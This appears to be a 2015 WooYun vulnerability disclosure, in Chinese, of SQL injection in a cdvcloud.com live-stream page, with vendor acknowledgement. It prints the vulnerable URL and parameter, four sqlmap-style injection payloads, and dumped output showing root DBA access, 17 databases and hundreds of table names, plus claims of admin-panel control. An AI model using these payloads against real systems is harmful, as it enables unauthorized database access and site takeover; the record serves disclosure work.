当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127349

漏洞标题:云视某处SQL注入大量数据库已后台可shell

相关厂商:cdvcloud.com

漏洞作者: 紫霞仙子

提交时间:2015-07-17 14:35

修复时间:2015-09-04 16:00

公开时间:2015-09-04 16:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-17: 细节已通知厂商并且等待厂商处理中
2015-07-21: 厂商已经确认,细节仅向厂商公开
2015-07-31: 细节向核心白帽子及相关领域专家公开
2015-08-10: 细节向普通白帽子公开
2015-08-20: 细节向实习白帽子公开
2015-09-04: 细节向公众公开

简要描述:

详细说明:

http://web2.cdvcloud.com/e/extend/live/?i=1&id=1


20150717133716.png

漏洞证明:

---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: i=1&id=1 RLIKE (SELECT (CASE WHEN (2786=2786) THEN 1 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: i=1&id=1 AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(0x71716a6b71,(SELECT (ELT(2373=2373,1))),0x716b767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: i=1&id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))UeFH)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: i=1&id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71716a6b71,0x77476c67665362504c69,0x716b767171),NULL,NULL--
---
web application technology: PHP 5.4.23
back-end DBMS: MySQL 5.0
current user: 'root@localhost'
current user is DBA: True
available databases [17]:
[*] information_schema
[*] mysql
[*] security
[*] test
[*] vms2_1
[*] zqcms
[*] zqcms10
[*] zqcms11
[*] zqcms12
[*] zqcms13
[*] zqcms14
[*] zqcms2
[*] zqcms3
[*] zqcms4
[*] zqcms6
[*] zqcms7
[*] zqcms9
Database: zqcms
[238 tables]
+------------------------------+
| hks_ecms_article |
| hks_ecms_article_check |
| hks_ecms_article_check_data |
| hks_ecms_article_data_1 |
| hks_ecms_article_doc |
| hks_ecms_article_doc_data |
| hks_ecms_article_doc_index |
| hks_ecms_article_index |
| hks_ecms_download |
| hks_ecms_download_check |
| hks_ecms_download_check_data |
| hks_ecms_download_data_1 |
| hks_ecms_download_doc |
| hks_ecms_download_doc_data |
| hks_ecms_download_doc_index |
| hks_ecms_download_index |
| hks_ecms_flash |
| hks_ecms_flash_check |
| hks_ecms_flash_check_data |
| hks_ecms_flash_data_1 |
| hks_ecms_flash_doc |
| hks_ecms_flash_doc_data |
| hks_ecms_flash_doc_index |
| hks_ecms_flash_index |
| hks_ecms_info |
| hks_ecms_info_check |
| hks_ecms_info_check_data |
| hks_ecms_info_data_1 |
| hks_ecms_info_doc |
| hks_ecms_info_doc_data |
| hks_ecms_info_doc_index |
| hks_ecms_info_index |
| hks_ecms_infoclass_article |
| hks_ecms_infoclass_download |
| hks_ecms_infoclass_flash |
| hks_ecms_infoclass_info |
| hks_ecms_infoclass_movie |
| hks_ecms_infoclass_news |
| hks_ecms_infoclass_photo |
| hks_ecms_infoclass_shop |
| hks_ecms_infotmp_article |
| hks_ecms_infotmp_download |
| hks_ecms_infotmp_flash |
| hks_ecms_infotmp_info |
| hks_ecms_infotmp_movie |
| hks_ecms_infotmp_news |
| hks_ecms_infotmp_photo |
| hks_ecms_infotmp_shop |
| hks_ecms_movie |
| hks_ecms_movie_check |
| hks_ecms_movie_check_data |
| hks_ecms_movie_data_1 |
| hks_ecms_movie_doc |
| hks_ecms_movie_doc_data |
| hks_ecms_movie_doc_index |
| hks_ecms_movie_index |
| hks_ecms_news |
| hks_ecms_news_check |
| hks_ecms_news_check_data |
| hks_ecms_news_data_1 |
| hks_ecms_news_doc |
| hks_ecms_news_doc_data |
| hks_ecms_news_doc_index |
| hks_ecms_news_index |
| hks_ecms_photo |
| hks_ecms_photo_check |
| hks_ecms_photo_check_data |
| hks_ecms_photo_data_1 |
| hks_ecms_photo_doc |
| hks_ecms_photo_doc_data |
| hks_ecms_photo_doc_index |
| hks_ecms_photo_index |
| hks_ecms_shop |
| hks_ecms_shop_check |
| hks_ecms_shop_check_data |
| hks_ecms_shop_data_1 |
| hks_ecms_shop_doc |
| hks_ecms_shop_doc_data |
| hks_ecms_shop_doc_index |
| hks_ecms_shop_index |
| hks_enewsad |
| hks_enewsadclass |
| hks_enewsadminstyle |
| hks_enewsbefrom |
| hks_enewsbq |
| hks_enewsbqclass |
| hks_enewsbqtemp |
| hks_enewsbqtempclass |
| hks_enewsbuybak |
| hks_enewsbuygroup |
| hks_enewscard |
| hks_enewsclass |
| hks_enewsclass_stats |
| hks_enewsclass_stats_ip |
| hks_enewsclass_stats_set |
| hks_enewsclassadd |
| hks_enewsclassf |
| hks_enewsclassnavcache |
| hks_enewsclasstemp |
| hks_enewsclasstempclass |
| hks_enewsdiggips |
| hks_enewsdo |
| hks_enewsdolog |
| hks_enewsdownerror |
| hks_enewsdownrecord |
| hks_enewsdownurlqz |
| hks_enewserrorclass |
| hks_enewsf |
| hks_enewsfava |
| hks_enewsfavaclass |
| hks_enewsfeedback |
| hks_enewsfeedbackclass |
| hks_enewsfeedbackf |
| hks_enewsfile_1 |
| hks_enewsfile_member |
| hks_enewsfile_other |
| hks_enewsfile_public |
| hks_enewsgbook |
| hks_enewsgbookclass |
| hks_enewsgfenip |
| hks_enewsgroup |
| hks_enewshmsg |
| hks_enewshnotice |
| hks_enewshy |
| hks_enewshyclass |
| hks_enewsindexpage |
| hks_enewsinfoclass |
| hks_enewsinfotype |
| hks_enewsinfovote |
| hks_enewsjstemp |
| hks_enewsjstempclass |
| hks_enewskey |
| hks_enewskeyclass |
| hks_enewslink |
| hks_enewslinkclass |
| hks_enewslinktmp |
| hks_enewslisttemp |
| hks_enewslisttempclass |
| hks_enewslog |
| hks_enewsloginfail |
| hks_enewsmember |
| hks_enewsmember_connect |
| hks_enewsmember_connect_app |
| hks_enewsmemberadd |
| hks_enewsmemberf |
| hks_enewsmemberfeedback |
| hks_enewsmemberform |
| hks_enewsmembergbook |
| hks_enewsmembergroup |
| hks_enewsmemberpub |
| hks_enewsmenu |
| hks_enewsmenuclass |
| hks_enewsmod |
| hks_enewsnewstemp |
| hks_enewsnewstempclass |
| hks_enewsnotcj |
| hks_enewsnotice |
| hks_enewspage |
| hks_enewspageclass |
| hks_enewspagetemp |
| hks_enewspayapi |
| hks_enewspayrecord |
| hks_enewspic |
| hks_enewspicclass |
| hks_enewspl_1 |
| hks_enewspl_set |
| hks_enewsplayer |
| hks_enewsplf |
| hks_enewspltemp |
| hks_enewspostdata |
| hks_enewspostserver |
| hks_enewsprinttemp |
| hks_enewspublic |
| hks_enewspublic_update |
| hks_enewspubtemp |
| hks_enewspubvar |
| hks_enewspubvarclass |
| hks_enewsqmsg |
| hks_enewssearch |
| hks_enewssearchall |
| hks_enewssearchall_load |
| hks_enewssearchtemp |
| hks_enewssearchtempclass |
| hks_enewsshop_address |
| hks_enewsshop_ddlog |
| hks_enewsshop_precode |
| hks_enewsshop_set |
| hks_enewsshopdd |
| hks_enewsshopdd_add |
| hks_enewsshoppayfs |
| hks_enewsshopps |
| hks_enewssp |
| hks_enewssp_1 |
| hks_enewssp_2 |
| hks_enewssp_3 |
| hks_enewssp_3_bak |
| hks_enewsspacestyle |
| hks_enewsspclass |
| hks_enewssql |
| hks_enewstable |
| hks_enewstags |
| hks_enewstagsclass |
| hks_enewstagsdata |
| hks_enewstask |
| hks_enewstempbak |
| hks_enewstempdt |
| hks_enewstempgroup |
| hks_enewstempvar |
| hks_enewstempvarclass |
| hks_enewstogzts |
| hks_enewsuser |
| hks_enewsuseradd |
| hks_enewsuserclass |
| hks_enewsuserjs |
| hks_enewsuserjsclass |
| hks_enewsuserlist |
| hks_enewsuserlistclass |
| hks_enewsuserloginck |
| hks_enewsvote |
| hks_enewsvotemod |
| hks_enewsvotetemp |
| hks_enewswapstyle |
| hks_enewswfinfo |
| hks_enewswfinfolog |
| hks_enewswords |
| hks_enewsworkflow |
| hks_enewsworkflowitem |
| hks_enewswriter |
| hks_enewsyh |
| hks_enewszt |
| hks_enewsztadd |
| hks_enewsztclass |
| hks_enewsztf |
| hks_enewsztinfo |
| hks_enewszttype |
| hks_enewszttypeadd |
| hks_tv |
| hks_tv_playlist |
+------------------------------+
Database: vms2_1
[311 tables]
+--------------------------------------+
| hks_ecms_article |
| hks_ecms_article_check |
| hks_ecms_article_check_data |
| hks_ecms_article_data_1 |
| hks_ecms_article_doc |
| hks_ecms_article_doc_data |
| hks_ecms_article_doc_index |
| hks_ecms_article_index |
| hks_ecms_download |
| hks_ecms_download_check |
| hks_ecms_download_check_data |
| hks_ecms_download_data_1 |
| hks_ecms_download_doc |
| hks_ecms_download_doc_data |
| hks_ecms_download_doc_index |
| hks_ecms_download_index |
| hks_ecms_flash |
| hks_ecms_flash_check |
| hks_ecms_flash_check_data |
| hks_ecms_flash_data_1 |
| hks_ecms_flash_doc |
| hks_ecms_flash_doc_data |
| hks_ecms_flash_doc_index |
| hks_ecms_flash_index |
| hks_ecms_info |
| hks_ecms_info_check |
| hks_ecms_info_check_data |
| hks_ecms_info_data_1 |
| hks_ecms_info_doc |
| hks_ecms_info_doc_data |
| hks_ecms_info_doc_index |
| hks_ecms_info_index |
| hks_ecms_infoclass_article |
| hks_ecms_infoclass_download |
| hks_ecms_infoclass_flash |
| hks_ecms_infoclass_info |
| hks_ecms_infoclass_movie |
| hks_ecms_infoclass_news |
| hks_ecms_infoclass_photo |
| hks_ecms_infoclass_shop |
| hks_ecms_infotmp_article |
| hks_ecms_infotmp_download |
| hks_ecms_infotmp_flash |
| hks_ecms_infotmp_info |
| hks_ecms_infotmp_movie |
| hks_ecms_infotmp_news |
| hks_ecms_infotmp_photo |
| hks_ecms_infotmp_shop |
| hks_ecms_movie |
| hks_ecms_movie_check |
| hks_ecms_movie_check_data |
| hks_ecms_movie_data_1 |
| hks_ecms_movie_doc |
| hks_ecms_movie_doc_data |
| hks_ecms_movie_doc_index |
| hks_ecms_movie_index |
| hks_ecms_news |
| hks_ecms_news_check |
| hks_ecms_news_check_data |
| hks_ecms_news_data_1 |
| hks_ecms_news_doc |
| hks_ecms_news_doc_data |
| hks_ecms_news_doc_index |
| hks_ecms_news_index |
| hks_ecms_photo |
| hks_ecms_photo_check |
| hks_ecms_photo_check_data |
| hks_ecms_photo_data_1 |
| hks_ecms_photo_doc |
| hks_ecms_photo_doc_data |
| hks_ecms_photo_doc_index |
| hks_ecms_photo_index |
| hks_ecms_shop |
| hks_ecms_shop_check |
| hks_ecms_shop_check_data |
| hks_ecms_shop_data_1 |
| hks_ecms_shop_doc |
| hks_ecms_shop_doc_data |
| hks_ecms_shop_doc_index |
| hks_ecms_shop_index |
| hks_enewsad |
| hks_enewsadclass |
| hks_enewsadminstyle |
| hks_enewsbefrom |
| hks_enewsbq |
| hks_enewsbqclass |
| hks_enewsbqtemp |
| hks_enewsbqtempclass |
| hks_enewsbuybak |
| hks_enewsbuygroup |
| hks_enewscard |
| hks_enewsclass |
| hks_enewsclass_stats |
| hks_enewsclass_stats_ip |
| hks_enewsclass_stats_set |
| hks_enewsclassadd |
| hks_enewsclassf |
| hks_enewsclassnavcache |
| hks_enewsclasstemp |
| hks_enewsclasstempclass |
| hks_enewsdiggips |
| hks_enewsdo |
| hks_enewsdolog |
| hks_enewsdownerror |
| hks_enewsdownrecord |
| hks_enewsdownurlqz |
| hks_enewserrorclass |
| hks_enewsf |
| hks_enewsfava |
| hks_enewsfavaclass |
| hks_enewsfeedback |
| hks_enewsfeedbackclass |
| hks_enewsfeedbackf |
| hks_enewsfile_1 |
| hks_enewsfile_member |
| hks_enewsfile_other |
| hks_enewsfile_public |
| hks_enewsgbook |
| hks_enewsgbookclass |
| hks_enewsgfenip |
| hks_enewsgroup |
| hks_enewshmsg |
| hks_enewshnotice |
| hks_enewshy |
| hks_enewshyclass |
| hks_enewsindexpage |
| hks_enewsinfoclass |
| hks_enewsinfotype |
| hks_enewsinfovote |
| hks_enewsjstemp |
| hks_enewsjstempclass |
| hks_enewskey |
| hks_enewskeyclass |
| hks_enewslink |
| hks_enewslinkclass |
| hks_enewslinktmp |
| hks_enewslisttemp |
| hks_enewslisttempclass |
| hks_enewslog |
| hks_enewsloginfail |
| hks_enewsmember |
| hks_enewsmember_connect |
| hks_enewsmember_connect_app |
| hks_enewsmemberadd |
| hks_enewsmemberf |
| hks_enewsmemberfeedback |
| hks_enewsmemberform |
| hks_enewsmembergbook |
| hks_enewsmembergroup |
| hks_enewsmemberpub |
| hks_enewsmenu |
| hks_enewsmenuclass |
| hks_enewsmod |
| hks_enewsnewstemp |
| hks_enewsnewstempclass |
| hks_enewsnotcj |
| hks_enewsnotice |
| hks_enewspage |
| hks_enewspageclass |
| hks_enewspagetemp |
| hks_enewspayapi |
| hks_enewspayrecord |
| hks_enewspic |
| hks_enewspicclass |
| hks_enewspl_1 |
| hks_enewspl_set |
| hks_enewsplayer |
| hks_enewsplf |
| hks_enewspltemp |
| hks_enewspostdata |
| hks_enewspostserver |
| hks_enewsprinttemp |
| hks_enewspublic |
| hks_enewspublic_update |
| hks_enewspubtemp |
| hks_enewspubvar |
| hks_enewspubvarclass |
| hks_enewsqmsg |
| hks_enewssearch |
| hks_enewssearchall |
| hks_enewssearchall_load |
| hks_enewssearchtemp |
| hks_enewssearchtempclass |
| hks_enewsshop_address |
| hks_enewsshop_ddlog |
| hks_enewsshop_precode |
| hks_enewsshop_set |
| hks_enewsshopdd |
| hks_enewsshopdd_add |
| hks_enewsshoppayfs |
| hks_enewsshopps |
| hks_enewssp |
| hks_enewssp_1 |
| hks_enewssp_2 |
| hks_enewssp_3 |
| hks_enewssp_3_bak |
| hks_enewsspacestyle |
| hks_enewsspclass |
| hks_enewssql |
| hks_enewstable |
| hks_enewstags |
| hks_enewstagsclass |
| hks_enewstagsdata |
| hks_enewstask |
| hks_enewstempbak |
| hks_enewstempdt |
| hks_enewstempgroup |
| hks_enewstempvar |
| hks_enewstempvarclass |
| hks_enewstogzts |
| hks_enewsuser |
| hks_enewsuseradd |
| hks_enewsuserclass |
| hks_enewsuserjs |
| hks_enewsuserjsclass |
| hks_enewsuserlist |
| hks_enewsuserlistclass |
| hks_enewsuserloginck |
| hks_enewsvote |
| hks_enewsvotemod |
| hks_enewsvotetemp |
| hks_enewswapstyle |
| hks_enewswfinfo |
| hks_enewswfinfolog |
| hks_enewswords |
| hks_enewsworkflow |
| hks_enewsworkflowitem |
| hks_enewswriter |
| hks_enewsyh |
| hks_enewszt |
| hks_enewsztadd |
| hks_enewsztclass |
| hks_enewsztf |
| hks_enewsztinfo |
| hks_enewszttype |
| hks_enewszttypeadd |
| hks_tv |
| hks_tv_playlist |
| onair_vms_11101524 |
| onair_vms_111111165124 |
| onair_vms_1211212143821 |
| onair_vms_123101002 |
| onair_vms_123161902 |
| onair_vms_22104734 |
| onair_vms_22185548 |
| onair_vms_5jj134141 |
| onair_vms_678161918 |
| onair_vms_789144949 |
| onair_vms_IBCsaishixinxi100420 |
| onair_vms_OnAirshoulumoban153916 |
| onair_vms_Onair_shoulumoban100310 |
| onair_vms_cdn |
| onair_vms_ceshi195811 |
| onair_vms_cms |
| onair_vms_compile |
| onair_vms_connect |
| onair_vms_content_provider |
| onair_vms_dictionary |
| onair_vms_dictionary_info |
| onair_vms_fields |
| onair_vms_fields_template |
| onair_vms_generate |
| onair_vms_generate_gather |
| onair_vms_generate_gather_relation |
| onair_vms_generate_library_relation |
| onair_vms_hangzhoutaiceshi141045 |
| onair_vms_haoshengyin104109 |
| onair_vms_hello195033 |
| onair_vms_inspect_logs |
| onair_vms_jiandanmoban133303 |
| onair_vms_kekaomoban165738 |
| onair_vms_kekaomoban170021 |
| onair_vms_kuailejiazu155828 |
| onair_vms_library |
| onair_vms_logs |
| onair_vms_material |
| onair_vms_material_gather |
| onair_vms_material_gather_relation |
| onair_vms_material_library_relation |
| onair_vms_monvshuoshuo191541 |
| onair_vms_nanjingwangtai133756 |
| onair_vms_nanjingwangtaixin144451 |
| onair_vms_nihaoa165038 |
| onair_vms_onairyinpinmoban164943 |
| onair_vms_picture |
| onair_vms_picture_intercept |
| onair_vms_picture_intercept_auto |
| onair_vms_publish |
| onair_vms_publish_cms |
| onair_vms_publisher |
| onair_vms_shouluzhuanyong2192531 |
| onair_vms_shouluzhuanyongmoban191201 |
| onair_vms_statisticinfo |
| onair_vms_template |
| onair_vms_test184513 |
| onair_vms_transcode_task |
| onair_vms_transcode_template |
| onair_vms_user |
| onair_vms_wangtai133006 |
| onair_vms_xianggangweishi200933 |
| onair_vms_xiangximoban133204 |
| onair_vms_xinmeitimoban145511 |
| onair_vms_xinmeitimoban145742 |
| onair_vms_xinmeitimoban150117 |
| onair_vms_xinmeitimoban152041 |
| onair_vms_xinmeitimoban152126 |
| onair_vms_xinmeitimoban152234 |
| onair_vms_yinpinbianji090810 |
| onair_vms_yinpinmoban102522 |
| onair_vms_yinpinmoban173726 |
| onair_vms_yinpinmoren124730 |
+--------------------------------------+

20150717134824.png


20150717135054.png


20150717135149.png


可以推送消息给会员,可设置充值点卡。
可以修改任意页面!
shell参考:
WooYun: 云视某处SQL注入导致后台getshell

修复方案:

fix

版权声明:转载请注明来源 紫霞仙子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-07-21 15:58

厂商回复:

感谢关注测试环境漏洞已修复

最新状态:

暂无


漏洞评价:

评论